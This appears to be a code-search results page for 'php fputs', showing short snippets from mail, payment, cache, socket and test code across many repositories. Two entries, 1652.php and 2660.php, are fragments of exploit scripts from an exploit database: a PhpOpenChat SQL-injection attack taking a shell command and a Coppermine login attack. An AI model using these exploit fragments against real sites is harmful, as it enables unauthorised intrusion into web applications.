PageRenderTime 956ms queryTime 140ms sortTime 10ms getByIdsTime 579ms findMatchingLines 127ms

100+ results results for 'php fputs' (956 ms)

Not the results you expected?
validation_manuelle.php https://gitlab.com/ptisky/API_prestashop | PHP | 124 lines
                    
1<?php

                    
2/*

                    
6 */

                    
7include(dirname(__FILE__).'/../../config/config.inc.php');

                    
8include(dirname(__FILE__).'/paybox.php');

                    
69				if(_PS_VERSION_ < '1.5')    

                    
70               		Tools::redirectLink(__PS_BASE_URI__.'order-confirmation.php?id_cart='.intval($cart->id).'&id_module='.intval($paybox->id).'&id_order='.$order->id.'&key='.$order->secure_key);

                    
71				else

                    
71				else

                    
72					Tools::redirect(__PS_BASE_URI__.'index.php?controller=order-confirmation&id_cart='.$cart->id.'&id_module='.$paybox->id.'&id_order='.Order::getOrderByCartId(intval($cart->id)).'&key='.$customer->secure_key);

                    
73		} else {	

                    
73		} else {	

                    
74                    Tools::redirectLink(__PS_BASE_URI__.'history.php');

                    
75		}

                    
76	}

                    
77Tools::redirectLink(__PS_BASE_URI__.'history.php');

                    
78function verification_ip_appelant() {

                    
                
civicrm.php https://github.com/michaelmcandrew/lbc.git | PHP | 270 lines
                    
1<?php
                    
2
                    
71    }
                    
72    fputs( $fd, $buffer );
                    
73    fclose( $fd );
                    
112            $siteDir  . DIRECTORY_SEPARATOR .
                    
113            'civicrm.settings.php';
                    
114    } elseif( $installType == 'wordpress' ) {
                    
116            $cmsPath  . DIRECTORY_SEPARATOR .
                    
117            'civicrm.settings.php';
                    
118    }
                    
127
                    
128    require_once "$crmPath/packages/DB.php";
                    
129
                    
214
                    
215    $str = file_get_contents( $tplPath . 'civicrm.settings.php.tpl' );
                    
216    foreach ( $params as $key => $value ) { 
                    
                
mail.php https://gitlab.com/2202Programming/navxmxp | PHP | 406 lines
                    
95		$header .= 'Return-Path: ' . $this->from . $this->newline;
                    
96		$header .= 'X-Mailer: PHP/' . phpversion() . $this->newline;
                    
97		$header .= 'Content-Type: multipart/related; boundary="' . $boundary . '"' . $this->newline . $this->newline;
                    
169				if (substr($this->hostname, 0, 3) == 'tls') {
                    
170					fputs($handle, 'STARTTLS' . $this->crlf);
                    
171
                    
254				} else {
                    
255					fputs($handle, 'HELO ' . getenv('SERVER_NAME') . $this->crlf);
                    
256
                    
275				} else {
                    
276					fputs($handle, 'MAIL FROM: <' . $this->from . '>' . $this->crlf);
                    
277				}
                    
294				if (!is_array($this->to)) {
                    
295					fputs($handle, 'RCPT TO: <' . $this->to . '>' . $this->crlf);
                    
296
                    
                
Sntp.php https://gitlab.com/rsilveira1987/Expresso | PHP | 119 lines
                    
1<?php
                    
2/**
                    
18 * @license   http://framework.zend.com/license/new-bsd     New BSD License
                    
19 * @version   $Id: Sntp.php 10020 2009-08-18 14:34:09Z j.fischer@metaways.de $
                    
20 */
                    
24 */
                    
25require_once 'Zend/TimeSync/Protocol.php';
                    
26
                    
97        $this->_delay = time();
                    
98        fputs($this->_socket, $data);
                    
99    }
                    
                
ficiauploader.c https://github.com/yappo/ficiauploader.git | C | 263 lines
                    
14#define API_LOGINNAME "ficia"
                    
15#define API_ENDPOINT  "http://ficia.com/api/gr2/eyefi/main.php"
                    
16#define GR2_STATUS_LOGIN_OK "#__GR2PROTO__\nserver_version=2.11\nstatus=0\nstatus_text=OK\n"
                    
25{
                    
26  fputs("ficiauploader\n"
                    
27	"\n"
                    
45{
                    
46  fputs("ficiauploader " VERSION_STR "\n"
                    
47	"\n"
                    
                
fgets.html https://github.com/whitypig/emacs-cppref.git | HTML | 100 lines
                    
14<meta name="keywords" content="c,io,fgets" />
                    
15<link rel="search" type="application/opensearchdescription+xml" href="/wiki/lib/exe/opensearch.php" title="C++ Reference" />
                    
16<link rel="start" href="/wiki/" />
                    
17<link rel="contents" href="/wiki/c/io/fgets?do=index" title="Index" />
                    
18<link rel="alternate" type="application/rss+xml" title="Recent Changes" href="/wiki/feed.php" />
                    
19<link rel="alternate" type="application/rss+xml" title="Current Namespace" href="/wiki/feed.php?mode=list&amp;ns=c:io" />
                    
22<link rel="alternate" type="text/plain" title="Wiki Markup" href="/wiki/_export/raw/c/io/fgets" />
                    
23<link rel="stylesheet" media="all" type="text/css" href="/wiki/lib/exe/css.php?s=all&amp;t=custom1" />
                    
24<link rel="stylesheet" media="screen" type="text/css" href="/wiki/lib/exe/css.php?t=custom1" />
                    
24<link rel="stylesheet" media="screen" type="text/css" href="/wiki/lib/exe/css.php?t=custom1" />
                    
25<link rel="stylesheet" media="print" type="text/css" href="/wiki/lib/exe/css.php?s=print&amp;t=custom1" />
                    
26<script type="text/javascript" charset="utf-8" src="/wiki/lib/exe/js.php?edit=0&amp;write=1" ></script>
                    
75<p>
                    
76Related Topics: <a href="../../c/io/fputs.html" class="wikilink1" title="c:io:fputs">fputs</a>, <a href="../../c/io/fscanf.html" class="wikilink1" title="c:io:fscanf">fscanf</a>, <a href="../../c/io/gets.html" class="wikilink1" title="c:io:gets">gets</a>, <a href="../../c/io/scanf.html" class="wikilink1" title="c:io:scanf">scanf</a>
                    
77</p>
                    
                
install.php https://github.com/Lukeas14/hip-hop-goblin.git | PHP | 281 lines
                    
1<?php
                    
2/***************************************************************************
                    
7 *
                    
8 *   Notice: Most of this file is taken from the install.php file of the phpBB v2 forum
                    
9 *   The stylesheet associated is also a modified version of the subSilver.css stylesheet that comes with the phpBB v2 forum
                    
22
                    
23if (@file_exists('../config.php'))
                    
24{
                    
172	{
                    
173		if (!($fp = @fopen('../config.php', 'w')))
                    
174		{
                    
199	{
                    
200		$text = 'VOGOO PHP LIB installation is complete. Thank you for choosing the VOGOO PHP Lib.<br />You can now close this window and start using the VOGOO PHP Lib in your own PHP scripts.';
                    
201	}
                    
274	</tr>
                    
275<?php } ?>
                    
276	</table></td>
                    
                
Sntp.php https://github.com/jpratt/cal.git | PHP | 119 lines
                    
1<?php
                    
2/**
                    
18 * @license   http://framework.zend.com/license/new-bsd     New BSD License
                    
19 * @version   $Id: Sntp.php 10835 2008-08-08 22:28:26Z thomas $
                    
20 */
                    
24 */
                    
25#require_once 'Zend/TimeSync/Protocol.php';
                    
26
                    
97        $this->_delay = time();
                    
98        fputs($this->_socket, $data);
                    
99    }
                    
                
Paypal.php https://github.com/hukumonline/quart80.git | PHP | 123 lines
                    
1<?php
                    
2
                    
12 * @category	Library
                    
13 * @author      Md Emran Hasan <phpfour@gmail.com>
                    
14 * @link        http://www.phpfour.com
                    
16
                    
17include_once ('PaymentGateway.php');
                    
18
                    
92
                    
93			fputs($fp, "POST ".$urlParsed['path']." HTTP/1.1\r\n");
                    
94			fputs($fp, "Host: ".$urlParsed['host']."\r\n");
                    
94			fputs($fp, "Host: ".$urlParsed['host']."\r\n");
                    
95			fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
                    
96			fputs($fp, "Content-length: " . strlen($postString) . "\r\n");
                    
96			fputs($fp, "Content-length: " . strlen($postString) . "\r\n");
                    
97			fputs($fp, "Connection: close\r\n\r\n");
                    
98			fputs($fp, $postString . "\r\n\r\n");
                    
                
Sntp.php https://github.com/sitengine/sitengine.git | PHP | 119 lines
                    
1<?php
                    
2/**
                    
18 * @license   http://framework.zend.com/license/new-bsd     New BSD License
                    
19 * @version   $Id: Sntp.php 10835 2008-08-08 22:28:26Z thomas $
                    
20 */
                    
24 */
                    
25require_once 'Zend/TimeSync/Protocol.php';
                    
26
                    
97        $this->_delay = time();
                    
98        fputs($this->_socket, $data);
                    
99    }
                    
                
rpc.php https://github.com/juanda/symfonite.git | PHP | 111 lines
                    
1<?php
                    
2/**
                    
2/**
                    
3 * $Id: rpc.php 822 2008-04-28 13:45:03Z spocke $
                    
4 *
                    
8
                    
9require_once("./includes/general.php");
                    
10
                    
36	if (!function_exists('file_get_contents')) {
                    
37		$fp = fopen("php://input", "r");
                    
38		if ($fp) {
                    
46	} else
                    
47		$raw = "" . file_get_contents("php://input");
                    
48}
                    
72		// Send request headers
                    
73		fputs($socket, $req);
                    
74
                    
                
class.wsdlcache.php https://gitlab.com/gregtyka/opensis | PHP | 209 lines
                    
1<?php
                    
2/*
                    
14* @author	Ingo Fischer <ingo@apollon.de>
                    
15* @version  $Id: class.wsdlcache.php,v 1.7 2007/04/17 16:34:03 snichol Exp $
                    
16* @access public 
                    
153			}
                    
154			fputs($fp, $s);
                    
155			fclose($fp);
                    
                
Agent.php https://gitlab.com/remyvianne/krowkaramel | PHP | 297 lines
                    
1<?php
                    
2
                    
3/**
                    
4 * Pure-PHP ssh-agent client.
                    
5 *
                    
7 *
                    
8 * PHP version 5
                    
9 *
                    
11 * <code>
                    
12 * <?php
                    
13 *    include 'vendor/autoload.php';
                    
14 *
                    
15 *    $agent = new \phpseclib3\System\SSH\Agent();
                    
16 *
                    
16 *
                    
17 *    $ssh = new \phpseclib3\Net\SSH2('www.domain.tld');
                    
18 *    if (!$ssh->login('username', $agent)) {
                    
                
kanji-encoding.lib.php https://gitlab.com/albert925/lading-ach | PHP | 152 lines
                    
1<?php
                    
2/* vim: set expandtab sw=4 ts=4 sts=4: */
                    
6 *
                    
7 * PHP4 configure requirements:
                    
8 *     --enable-mbstring --enable-mbstr-enc-trans --enable-mbregex
                    
12 * @version $Id$
                    
13 * @package phpMyAdmin
                    
14 */
                    
14 */
                    
15if (! defined('PHPMYADMIN')) {
                    
16    exit;
                    
19/**
                    
20 * Gets the php internal encoding codes and sets the available encoding
                    
21 * codes list
                    
119        $dist = PMA_kanji_str_conv($line, $enc, $kana);
                    
120        fputs($fpd, $dist);
                    
121    } // end while
                    
                
compatibility_helper.php git://github.com/daylightstudio/FUEL-CMS.git | PHP | 203 lines
                    
34 * another option http://derekallard.com/blog/post/using-json-on-servers-without-native-support/
                    
35 * Original function found here: http://php.net/manual/en/function.json-encode.php
                    
36 *
                    
37 * @access	public
                    
38 * @param	mixed	php value to encode into JSON format
                    
39 * @return	string
                    
89/**
                    
90 * Used for older versions of PHP that don't support json_decode.
                    
91 * another option http://derekallard.com/blog/post/using-json-on-servers-without-native-support/
                    
91 * another option http://derekallard.com/blog/post/using-json-on-servers-without-native-support/
                    
92 * Original function found here: http://php.net/manual/en/function.json-decode.php
                    
93 *
                    
143 * Used for older versions of PHP that don't support str_getcsv.
                    
144 * Original function found here: http://php.net/manual/en/function.str-getcsv.php
                    
145 *
                    
                
File.php https://github.com/EthanBlast/Glam-Star-Life.git | PHP | 237 lines
                    
1<?php
                    
2
                    
9 */
                    
10require_once W3TC_LIB_W3_DIR . '/Cache/Base.php';
                    
11
                    
31    /**
                    
32     * PHP5 constructor
                    
33     *
                    
42    /**
                    
43     * PHP4 constructor
                    
44     *
                    
93                
                    
94                @fputs($fp, pack('L', $expire));
                    
95                @fputs($fp, @serialize($var));
                    
                
Mail.php https://bitbucket.org/smr/omc.git | PHP | 140 lines
                    
1<?php
                    
2/**
                    
50      {
                    
51        fputs($this->skt, $CMD . self::CRLF);
                    
52
                    
                
test_ext_stream.cpp https://github.com/zsj888/hiphop-php.git | C++ | 440 lines
                    
2   +----------------------------------------------------------------------+
                    
3   | HipHop for PHP                                                       |
                    
4   +----------------------------------------------------------------------+
                    
6   +----------------------------------------------------------------------+
                    
7   | This source file is subject to version 3.01 of the PHP license,      |
                    
8   | that is bundled with this package in the file LICENSE, and is        |
                    
9   | available through the world-wide-web at the following url:           |
                    
10   | http://www.php.net/license/3_01.txt                                  |
                    
11   | If you did not receive a copy of the PHP license and are unable to   |
                    
12   | obtain it through the world-wide-web, please send a note to          |
                    
13   | license@php.net so we can mail you a copy immediately.               |
                    
14   +----------------------------------------------------------------------+
                    
350  Variant f = f_fopen("test/test_ext_file.tmp", "w");
                    
351  f_stream_set_write_buffer(f, 1 /* PHP_STREAM_BUFFER_LINE */);
                    
352  f_fputs(f, "testing\nanother line\n");
                    
                
Pop3.php https://github.com/bhaumik25/zend-framework.git | PHP | 400 lines
                    
1<?php
                    
2/**
                    
22 */
                    
23require_once 'Zend/Mail/Transport/Exception.php';
                    
24 
                    
125    {
                    
126        $result = fputs($this->_socket, $request."\n");
                    
127        if (!$result) {
                    
                
updatePerson.php https://gitlab.com/kirr/erp5 | PHP | 143 lines
                    
1<?php
                    
2  include("includes/config.inc.php");
                    
2  include("includes/config.inc.php");
                    
3  include("includes/function.php");
                    
4
                    
123       $fp = fopen("test.txt","a"); // ouverture du fichier en écriture
                    
124       fputs($fp, "\n---"); // on va a la ligne
                    
125       fputs($fp, $now." - ".$personUpdateQuery2.""); // on écrit le nom et email dans le fichier
                    
                
Logger.php https://gitlab.com/hoanghung.dev/phunuvadoisong.com | PHP | 456 lines
                    
1<?php
                    
2/**
                    
2/**
                    
3 * Logger.php
                    
4 *
                    
448		if (($fp = fopen($logFile, "a")) != null) {
                    
449			fputs($fp, $message);
                    
450			fflush($fp);
                    
                
common.php https://github.com/robertatakenaka/Web.git | PHP | 255 lines
                    
1<?PHP
                    
2//=============================================================================================
                    
201	
                    
202	fputs( $fp, $ReqHeader ); 
                    
203	if ($fp) {
                    
                
MboxTest.php https://github.com/bhaumik25/zend-framework.git | PHP | 348 lines
                    
1<?php
                    
2
                    
12 */
                    
13require_once 'Zend/Mail/Storage/Mbox.php';
                    
14
                    
17 */
                    
18require_once 'Zend/Config.php';
                    
19
                    
20/**
                    
21 * PHPUnit test case
                    
22 */
                    
22 */
                    
23require_once 'PHPUnit/Framework/TestCase.php';
                    
24
                    
30 */
                    
31class Zend_Mail_MboxTest extends PHPUnit_Framework_TestCase
                    
32{
                    
                
QuestionHelperTest.php https://gitlab.com/xolotsoft/pumasruiz | PHP | 238 lines
                    
1<?php
                    
2
                    
24 */
                    
25class QuestionHelperTest extends \PHPUnit_Framework_TestCase
                    
26{
                    
209    {
                    
210        $stream = fopen('php://memory', 'r+', false);
                    
211        fputs($stream, $input);
                    
218    {
                    
219        return new StreamOutput(fopen('php://memory', 'r+', false));
                    
220    }
                    
                
trackInput.php https://github.com/kadewe/rea.framework.git | PHP | 173 lines
                    
1<?php
                    
2/* ----------------------------------------------------------------------
                    
125$file = fopen($path, "w");
                    
126fputs($file,$xml);
                    
127fclose($file);
                    
                
1652.php https://bitbucket.org/DinoRex99/exploit-database.git | PHP | 179 lines
                    
1#!/usr/bin/php -q -d short_open_tag=on
                    
2<?
                    
2<?
                    
3echo "PhpOpenChat 3.0.x ADODB Server.php \"sql\" SQL injection\r\n";
                    
4echo "by rgod rgod@autistici.org\r\n";
                    
10echo "host:      target server (ip/hostname)\r\n";
                    
11echo "path:      path to PhpOpenChat\r\n";
                    
12echo "cmd:       a shell command\r\n";
                    
16echo "Examples:\r\n";
                    
17echo "php ".$argv[0]." localhost /chat/ \r\n";
                    
18echo "php ".$argv[0]." localhost /chat/ ls -la -p81\r\n";
                    
39so, this vulnerability is very hard to exploit
                    
40however, here is the code for PhpOpenChat, you can easily change it to work
                    
41against the program you want
                    
127#step 1->read DOCUMENT ROOT from phpinfo
                    
128$packet ="GET ".$p."include/adodb/tests/tmssql.php?do=phpinfo HTTP/1.0\r\n";
                    
129$packet.="User-Agent: Googlebot/2.1\r\n";
                    
                
sms_at.inc.php https://gitlab.com/mattyhead/mysms | PHP | 409 lines
                    
1<?php
                    
2#-----------------------------------------------------------------
                    
8   var $VERSION;
                    
9   var $REQUIRED_PHP_VERSION;
                    
10
                    
32       $this->VERSION              = "0.1";
                    
33       $this->REQUIRED_PHP_VERSION = "4.0";
                    
34       
                    
173
                    
174    fputs($fp, "$header");
                    
175    fputs($fp, "$request");
                    
                
Pop3.php https://gitlab.com/rsilveira1987/Expresso | PHP | 471 lines
                    
1<?php
                    
2/**
                    
19 * @license    http://framework.zend.com/license/new-bsd     New BSD License
                    
20 * @version    $Id: Pop3.php 10020 2009-08-18 14:34:09Z j.fischer@metaways.de $
                    
21 */
                    
107             */
                    
108            require_once 'Zend/Mail/Protocol/Exception.php';
                    
109            throw new Zend_Mail_Protocol_Exception('cannot connect to host : ' . $errno . ' : ' . $errstr);
                    
128                 */
                    
129                require_once 'Zend/Mail/Protocol/Exception.php';
                    
130                throw new Zend_Mail_Protocol_Exception('cannot enable TLS');
                    
146    {
                    
147        $result = @fputs($this->_socket, $request . "\r\n");
                    
148        if (!$result) {
                    
151             */
                    
152            require_once 'Zend/Mail/Protocol/Exception.php';
                    
153            throw new Zend_Mail_Protocol_Exception('send failed - connection closed?');
                    
                
NodeImportTestCase.php https://github.com/estellecomment/constitution_explorer_6.git | PHP | 284 lines
                    
1<?php
                    
2
                    
74      $s = node_import_write_to_string($row, $file_options);
                    
75      fputs($fp, $s);
                    
76    }
                    
212   * @param $group
                    
213   *   The type of assertion - examples are "Browser", "PHP".
                    
214   *
                    
231   * @param $group
                    
232   *   The type of assertion - examples are "Browser", "PHP".
                    
233   *
                    
250   * @param $group
                    
251   *   The type of assertion - examples are "Browser", "PHP".
                    
252   *
                    
269   * @param $group
                    
270   *   The type of assertion - examples are "Browser", "PHP".
                    
271   *
                    
                
DialogHelperTest.php https://gitlab.com/xolotsoft/pumasruiz | PHP | 192 lines
                    
1<?php
                    
2
                    
19
                    
20class DialogHelperTest extends \PHPUnit_Framework_TestCase
                    
21{
                    
102    {
                    
103        if (defined('PHP_WINDOWS_VERSION_BUILD')) {
                    
104            $this->markTestSkipped('This test is not supported on Windows');
                    
173    {
                    
174        $stream = fopen('php://memory', 'r+', false);
                    
175        fputs($stream, $input);
                    
182    {
                    
183        return new StreamOutput(fopen('php://memory', 'r+', false));
                    
184    }
                    
                
Cache_File.php https://gitlab.com/karlen/ayo_wp | PHP | 455 lines
                    
1<?php
                    
2namespace W3TC;
                    
117		@fputs( $fp, pack( 'L', $expires_at ) );
                    
118		@fputs( $fp, '<?php exit; ?>' );
                    
119		@fputs( $fp, @serialize( $var ) );
                    
176					if ( $fp2 ) {
                    
177						@fputs( $fp2, pack( 'L', time() + 30 ) );
                    
178						@fclose( $fp2 );
                    
241
                    
242				@fputs( $fp, pack( 'L', 0 ) );   // make it expired
                    
243				@fclose( $fp );
                    
315
                    
316		$path = sprintf( '%s/%s/%s.php', substr( $hash, 0, 3 ), substr( $hash, 3, 3 ), $hash );
                    
317
                    
409		@fputs( $fp, pack( 'L', $expires_at ) );
                    
410		@fputs( $fp, '<?php exit; ?>' );
                    
411		@fputs( $fp, (int)$value );
                    
                
PlainHTTPFetcher.php https://github.com/clioweb/DH-Answers.git | PHP | 160 lines
                    
1<?php
                    
2
                    
6 *
                    
7 * PHP versions 4 and 5
                    
8 *
                    
19 */
                    
20require_once("HTTPFetcher.php");
                    
21
                    
35     * Fetches the specified URL using optional extra headers and
                    
36     * returns the server's response.  Uses plain PHP library calls
                    
37     * and doesn't rely on any extensions.
                    
87
                    
88            $user_agent = "PHP Yadis Library Fetcher";
                    
89
                    
118
                    
119            fputs($sock, implode("\r\n", $headers) . "\r\n\r\n");
                    
120
                    
                
identify.c https://bitbucket.org/bosp/benchmarks-parsec.git | C | 119 lines
                    
25%                                                                             %
                    
26%    http://www.imagemagick.org/script/license.php                            %
                    
27%                                                                             %
                    
110    {
                    
111      (void) fputs(text,stdout);
                    
112      (void) fputc('\n',stdout);
                    
                
7_FixDropdownData.php https://bitbucket.org/hatim_alam/sugar-8.git | PHP | 132 lines
                    
1<?php
                    
2/*
                    
35
                    
36        foreach (glob($originalPath . '/*.lang.php') as $file) {
                    
37            require $file;
                    
47                    if (is_array($fields) && $this->isCustomField($name, $fields, $file)) {
                    
48                        $newFileName = $newPath . '/' . $lang . '.sugar_' . $name . '.php';
                    
49                        $this->write_to_file($newFileName, 'app_list_strings', $name, $fields, true);
                    
123        if ($timeHeader) {
                    
124            $output =   "<?php\n" .
                    
125                "// created: " . date('Y-m-d H:i:s') . "\n";
                    
128        $fp = fopen($file, 'a');
                    
129        fputs($fp, $output);
                    
130        fclose($fp);
                    
                
Pop3.php https://bitbucket.org/mercysam/zfs.git | PHP | 471 lines
                    
1<?php
                    
2/**
                    
19 * @license    http://framework.zend.com/license/new-bsd     New BSD License
                    
20 * @version    $Id: Pop3.php 12539 2008-11-11 02:47:17Z yoshida@zend.co.jp $
                    
21 */
                    
107             */
                    
108            require_once 'Zend/Mail/Protocol/Exception.php';
                    
109            throw new Zend_Mail_Protocol_Exception('cannot connect to host : ' . $errno . ' : ' . $errstr);
                    
128                 */
                    
129                require_once 'Zend/Mail/Protocol/Exception.php';
                    
130                throw new Zend_Mail_Protocol_Exception('cannot enable TLS');
                    
146    {
                    
147        $result = @fputs($this->_socket, $request . "\r\n");
                    
148        if (!$result) {
                    
151             */
                    
152            require_once 'Zend/Mail/Protocol/Exception.php';
                    
153            throw new Zend_Mail_Protocol_Exception('send failed - connection closed?');
                    
                
fianet_socket.php http://marocmall.googlecode.com/svn/trunk/ | PHP | 173 lines
                    
1<?php
                    
2	
                    
68					{
                    
69						fianet_insert_log("fianet_socket.php - build_header() <br />\nMaximum length in get method reached(".strlen($this->path."?".$data).") : <br />\n".$this->path."?".$data);
                    
70					}
                    
135				$data_reached = false;
                    
136				if (@fputs($socket, $header.$data))
                    
137				{
                    
159				{
                    
160					fianet_insert_log("fianet_socket.php - connect() <br />\nEnvoie des données impossible sur : <br />\n".$host);
                    
161					$res = false;
                    
166			{
                    
167				fianet_insert_log("fianet_socket.php - connect() <br />\nConnexion socket impossible : <br />\n".$host);
                    
168				$res = false;
                    
                
2660.php https://bitbucket.org/DinoRex99/exploit-database.git | PHP | 103 lines
                    
1#!/usr/bin/php
                    
2<?php
                    
10 * Usage: 
                    
11 * php script.php [host] [path] [table prefix] [user id] [username] [password]
                    
12 *
                    
13 * Usage Example:
                    
14 * php script.php domain.com /coppermine/ cpg149_ 1 john secret
                    
15 *
                    
27die("Usage:
                    
28php $argv[0] [host] [path] [table prefix] [user id] [username] [password]\n
                    
29Usage Example:
                    
29Usage Example:
                    
30php $argv[0] domain.com /coppermine/ cpg149_ 1 john secret\n");
                    
31}
                    
57$post = "username=".urlencode($userl)."&password=".urlencode($passl)."&submitted=Login";
                    
58$req  = "POST ".$path."login.php?referer=index.php HTTP/1.1\r\n"; 
                    
59$req .= "Referer: http://".$host.$path."login.php?referer=index.php\r\n";
                    
                
HTTPClient.php https://github.com/engel/yase.git | PHP | 172 lines
                    
1<?php
                    
2
                    
51        if($this->oSocket) 
                    
52           fputs( $this->oSocket, $sRequest."\r\n"); 
                    
53    }  
                    
                
Pop3.php https://github.com/jpratt/cal.git | PHP | 471 lines
                    
1<?php
                    
2/**
                    
19 * @license    http://framework.zend.com/license/new-bsd     New BSD License
                    
20 * @version    $Id: Pop3.php 12539 2008-11-11 02:47:17Z yoshida@zend.co.jp $
                    
21 */
                    
107             */
                    
108            #require_once 'Zend/Mail/Protocol/Exception.php';
                    
109            throw new Zend_Mail_Protocol_Exception('cannot connect to host : ' . $errno . ' : ' . $errstr);
                    
128                 */
                    
129                #require_once 'Zend/Mail/Protocol/Exception.php';
                    
130                throw new Zend_Mail_Protocol_Exception('cannot enable TLS');
                    
146    {
                    
147        $result = @fputs($this->_socket, $request . "\r\n");
                    
148        if (!$result) {
                    
151             */
                    
152            #require_once 'Zend/Mail/Protocol/Exception.php';
                    
153            throw new Zend_Mail_Protocol_Exception('send failed - connection closed?');
                    
                
ipn.php https://github.com/nadavkav/MoodleTAO.git | PHP | 232 lines
                    
1<?php  // $Id$
                    
2
                    
15
                    
16    require("../../config.php");
                    
17    require("enrol.php");
                    
80
                    
81    fputs ($fp, $header.$req);
                    
82
                    
178                    $a->coursename = $course->fullname;
                    
179                    $a->profileurl = "$CFG->wwwroot/user/view.php?id=$user->id";
                    
180                    email_to_user($user, $teacher, get_string("enrolmentnew", '', $course->shortname),
                    
                
AddressFilter.php https://github.com/imr/horde.git | PHP | 108 lines
                    
1<?php
                    
2/**
                    
4 *
                    
5 * PHP version 5
                    
6 *
                    
11 * @license    http://www.horde.org/licenses/lgpl21 LGPL 2.1
                    
12 * @link       http://pear.horde.org/index.php?package=Kolab_Filter
                    
13 */
                    
27 * @license    http://www.horde.org/licenses/lgpl21 LGPL 2.1
                    
28 * @link       http://pear.horde.org/index.php?package=Kolab_Filter
                    
29 */
                    
30class Horde_Kolab_Filter_Unit_Helper_AddressFilterTest
                    
31extends PHPUnit_Framework_TestCase
                    
32{
                    
34    {
                    
35        $fp = fopen('php://memory', 'w+');
                    
36        fputs($fp, "hello\n");
                    
                
Voicemail.php https://github.com/querl/Tine-2.0-Open-Source-Groupware-and-CRM.git | PHP | 167 lines
                    
1<?php
                    
2/**
                    
61    /**
                    
62     * (non-PHPdoc)
                    
63     * @see Tinebase/Controller/Record/Tinebase_Controller_Record_Abstract#create($_record)
                    
76    /**
                    
77     * (non-PHPdoc)
                    
78     * @see Tinebase/Controller/Record/Tinebase_Controller_Record_Abstract#delete($_ids)
                    
91    /**
                    
92     * (non-PHPdoc)
                    
93     * @see Tinebase/Controller/Record/Tinebase_Controller_Record_Abstract#update($_record)
                    
129        
                    
130        $fp = fopen("php://temp", 'r+');
                    
131        
                    
145
                    
146            fputs($fp, "[" . $context->name . "]\n");
                    
147            
                    
                
validation.php https://github.com/hecbuma/quali-fisioterapia.git | PHP | 139 lines
                    
1<?php
                    
2/*
                    
9* It is also available through the world-wide-web at this URL:
                    
10* http://opensource.org/licenses/afl-3.0.php
                    
11* If you did not receive a copy of the license and are unable to
                    
23*  @version  Release: $Revision: 1.4 $
                    
24*  @license    http://opensource.org/licenses/afl-3.0.php  Academic Free License (AFL 3.0)
                    
25*  International Registered Trademark & Property of PrestaShop SA
                    
27
                    
28include(dirname(__FILE__).'/../../config/config.inc.php');
                    
29include(dirname(__FILE__).'/paypal.php');
                    
78          'Connection: close'."\r\n\r\n";
                    
79	fputs($fp, $header.$params);
                    
80 	
                    
                
payment.php https://github.com/nimitz1061/oscommerce.git | PHP | 360 lines
                    
1<?php
                    
2/*
                    
14
                    
15  include(dirname(__FILE__) . '/credit_card.php');
                    
16
                    
125          if ($fp = @fsockopen(($server['scheme'] == 'https' ? 'ssl' : $server['scheme']) . '://' . $server['host'], $server['port'])) {
                    
126            @fputs($fp, 'POST ' . $server['path'] . (isset($server['query']) ? '?' . $server['query'] : '') . ' HTTP/1.1' . "\r\n" .
                    
127                        'Host: ' . $server['host'] . "\r\n" .
                    
                
ddt.php https://github.com/meloon/crabgrass.git | PHP | 288 lines
                    
1<?php 
                    
2/*
                    
80
                    
81	fputs( $fvDEBUG[ "logfile_fp" ], "$msgline" );
                    
82	fflush( $fvDEBUG[ "logfile_fp" ] );
                    
190		{
                    
191		fputs( $fp, date("D M j	G:i:s T	Y") . "	- $file:$line: $msg\n" );
                    
192		fclose(	$fp );
                    
                
dus-lib.php https://github.com/WimHager/DUS.git | PHP | 138 lines
                    
1<?php
                    
2/*
                    
115  		//Send Header and Data
                    
116  		fputs($Socket, "POST /$Path HTTP/1.1\r\n");
                    
117  		fputs($Socket, "Host: $Host\r\n");
                    
117  		fputs($Socket, "Host: $Host\r\n");
                    
118  		fputs($Socket, "Content-type: application/x-www-form-urlencoded\r\n");
                    
119  		fputs($Socket, "User-Agent: Opera/9.01 (Windows NT 5.1; U; en)\r\n");
                    
119  		fputs($Socket, "User-Agent: Opera/9.01 (Windows NT 5.1; U; en)\r\n");
                    
120  		fputs($Socket, "Accept-Language: de-DE,de;q=0.9,en;q=0.8\r\n");
                    
121  		fputs($Socket, "Content-length: ".strlen($Data)."\r\n");
                    
121  		fputs($Socket, "Content-length: ".strlen($Data)."\r\n");
                    
122  		fputs($Socket, "Connection: close\r\n\r\n");
                    
123  		fputs($Socket, $Data);
                    
                
cloner.php https://github.com/severnaya99/Sg-2010.git | PHP | 165 lines
                    
1<?php
                    
2// $Id$
                    
3//  ------------------------------------------------------------------------ //
                    
4//                XOOPS - PHP Content Management System                      //
                    
5//                    Copyright (c) 2000 XOOPS.org                           //
                    
43
                    
44	// work around for PHP < 5.0.x
                    
45	if(!function_exists('file_put_contents')) {
                    
51			}
                    
52			fputs($fp, $data);
                    
53			fclose($fp);
                    
                
main_body.php https://github.com/sdubois/phpMp.git | PHP | 133 lines
                    
1<?php
                    
2include "info.php";
                    
2include "info.php";
                    
3include "utils.php";
                    
4include "info2html.php";
                    
23	if(isset($password)) {
                    
24		fputs($fp,"password \"$password\"\n");
                    
25		while(!feof($fp)) {
                    
35		if(strlen($arg)>0) $command.=" \"$arg\"";
                    
36		fputs($fp,"$command\n");
                    
37		while(!feof($fp)) {
                    
72		}
                    
73		$dprint[$i].="[<a href=\"playlist.php?add_dir=$dirstr\" target=playlist>add</a>] <a href=\"main.php?sort=$sort&dir=$dirstr\">$dirss[0]</a></td></tr>\n";
                    
74		# $dprint[$i].="[<a href=\"main.php?sort=$sort&dir=$dirstr\">dir</a>] [<a href=\"playlist.php?add_dir=$dirstr\" target=playlist>add</a>] $dirss[0]</td></tr>\n";
                    
83	if(isset($save) && $save) {
                    
84		print "<br><form style=\"padding:0;margin:0;\" action=main.php? method=get>\n";
                    
85		print "<table border=0 cellspacing=1 bgcolor=\"";
                    
                
common.php https://gitlab.com/kidaa/portfolio | PHP | 386 lines
                    
1<?php
                    
2/**
                    
64			if ( isset( $url['host'] ) && $url['host'] != @gethostbyname( $url['host'] ) ) {
                    
65				if ( PHP_VERSION >= 5 ) {
                    
66					$headers = @implode( '', @get_headers( "$url[scheme]://$url[host]:$url[port]$url[path]" ) );
                    
70					}
                    
71					fputs( $fp, "HEAD $url[path] HTTP/1.1\r\nHost: $url[host]\r\n\r\n" );
                    
72					$headers = fread( $fp, 4096 );
                    
                
smtp.php https://bitbucket.org/wildanm/oplaysms | PHP | 617 lines
                    
1<?php
                    
2/*
                    
2/*
                    
3 * smtp.php
                    
4 *
                    
4 *
                    
